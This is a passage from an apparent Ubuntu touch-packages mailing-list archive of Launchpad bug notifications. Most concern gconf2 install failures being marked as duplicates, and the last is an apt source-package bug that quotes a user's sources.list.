Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1605950

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  Confirmed

Bug description:
  A failure with triggers left unprocessed

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-31.50-generic 4.4.13
  Uname: Linux 4.4.0-31-generic x86_64
  ApportVersion: 2.20.2-0ubuntu1
  Architecture: amd64
  Date: Sat Jul 23 20:03:27 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-07-19 (4 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.9ubuntu2
   apt  1.3~exp1
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1605950/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1607167] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1607167

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  Testing on the Yakkety Sax (Yak) branch

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-31.50-generic 4.4.13
  Uname: Linux 4.4.0-31-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  Date: Wed Jul 27 23:53:29 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-05-30 (58 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.9ubuntu2
   apt  1.3~exp1
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1607167/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1605896] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1605896

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  Varios errores durante la actualización a 16.04 a 16.0.1

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-31.50-generic 4.4.13
  Uname: Linux 4.4.0-31-generic x86_64
  ApportVersion: 2.20.2-0ubuntu1
  Architecture: amd64
  Date: Sat Jul 23 11:09:19 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-04-26 (87 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.9ubuntu2
   apt  1.3~exp1
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to yakkety on 2016-07-23 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1605896/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1619948] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1619948

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  after upgrade

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  Uname: Linux 4.7.2-040702-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.20.3-0ubuntu7
  Architecture: amd64
  Date: Sat Sep  3 14:51:07 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-08-28 (6 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu1
   apt  1.3~rc4ubuntu1
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to yakkety on 2016-09-03 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1619948/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1617611] Re: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems - leaving triggers unprocessed

[charles r.]

*** This bug is a duplicate of bug 1551623 ***
https://bugs.launchpad.net/bugs/1551623

** This bug is no longer a duplicate of bug 1605950
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed
** This bug has been marked a duplicate of bug 1551623
   package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency problems 
- leaving triggers unprocessed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gconf in Ubuntu.
https://bugs.launchpad.net/bugs/1617611

Title:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

Status in gconf package in Ubuntu:
  New

Bug description:
  package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency
  problems - leaving triggers unprocessed

  ProblemType: Package
  DistroRelease: Ubuntu 16.10
  Package: gconf2 3.2.6-3ubuntu6
  ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16
  Uname: Linux 4.4.0-36-generic x86_64
  ApportVersion: 2.20.3-0ubuntu7
  Architecture: amd64
  Date: Sat Aug 27 12:28:39 2016
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2016-08-21 (6 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu1
   apt  1.3~rc2ubuntu3
  SourcePackage: gconf
  Title: package gconf2 3.2.6-3ubuntu6 failed to install/upgrade: dependency 
problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to yakkety on 2016-08-27 (0 days ago)
  mtime.conffile..etc.xdg.autostart.gsettings-data-convert.desktop: 
2016-08-23T20:57:41.165020

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/1617611/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705040] Re: can't get source package

[Julian Andres Klode]

Did you run apt update?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1705040

Title:
  can't get source package

Status in apt package in Ubuntu:
  New

Bug description:
  $ apt-get --version
  apt 1.5~beta1 (amd64)
  Supported modules:
  *Ver: Standard .deb
  *Pkg:  Debian dpkg interface (Priority 30)
   Pkg:  Debian APT solver interface (Priority -1000)
   Pkg:  Debian APT planner interface (Priority -1000)
   S.L: 'deb' Debian binary tree
   S.L: 'deb-src' Debian source tree
   Idx: Debian Source Index
   Idx: Debian Package Index
   Idx: Debian Translation Index
   Idx: Debian dpkg status file
   Idx: Debian deb file
   Idx: Debian dsc file
   Idx: Debian control file
   Idx: EDSP scenario file
   Idx: EIPP scenario file

  Ubuntu 17.10

  
  $ apt-get source mutterReading package lists... Done
  E: You must put some 'source' URIs in your sources.list

  But all deb-src are enabled.

  $ cat /etc/apt/sources.list
  #deb cdrom:[Ubuntu 17.10 _Artful Aardvark_ - Alpha amd64 (20170714)]/ artful 
main restricted

  # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
  # newer versions of the distribution.
  deb http://ru.archive.ubuntu.com/ubuntu/ artful main restricted
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful main restricted

  ## Major bug fix updates produced after the final release of the
  ## distribution.
  deb http://ru.archive.ubuntu.com/ubuntu/ artful-updates main restricted
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful-updates main restricted

  ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
  ## team. Also, please note that software in universe WILL NOT receive any
  ## review or updates from the Ubuntu security team.
  deb http://ru.archive.ubuntu.com/ubuntu/ artful universe
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful universe
  deb http://ru.archive.ubuntu.com/ubuntu/ artful-updates universe
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful-updates universe

  ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu 
  ## team, and may not be under a free licence. Please satisfy yourself as to 
  ## your rights to use the software. Also, please note that software in 
  ## multiverse WILL NOT receive any review or updates from the Ubuntu
  ## security team.
  deb http://ru.archive.ubuntu.com/ubuntu/ artful multiverse
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful multiverse
  deb http://ru.archive.ubuntu.com/ubuntu/ artful-updates multiverse
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful-updates multiverse

  ## N.B. software from this repository may not have been tested as
  ## extensively as that contained in the main release, although it includes
  ## newer versions of some applications which may provide useful features.
  ## Also, please note that software in backports WILL NOT receive any review
  ## or updates from the Ubuntu security team.
  deb http://ru.archive.ubuntu.com/ubuntu/ artful-backports main restricted 
universe multiverse
  deb-src http://ru.archive.ubuntu.com/ubuntu/ artful-backports main restricted 
universe multiverse

  ## Uncomment the following two lines to add software from Canonical's
  ## 'partner' repository.
  ## This software is not part of Ubuntu, but is offered by Canonical and the
  ## respective vendors as a service to Ubuntu users.
  # deb http://archive.canonical.com/ubuntu artful partner
  # deb-src http://archive.canonical.com/ubuntu artful partner

  deb http://security.ubuntu.com/ubuntu artful-security main restricted
  deb-src http://security.ubuntu.com/ubuntu artful-security main restricted
  deb http://security.ubuntu.com/ubuntu artful-security universe
  deb-src http://security.ubuntu.com/ubuntu artful-security universe
  deb http://security.ubuntu.com/ubuntu artful-security multiverse
  deb-src http://security.ubuntu.com/ubuntu artful-security multiverse

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1705040/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp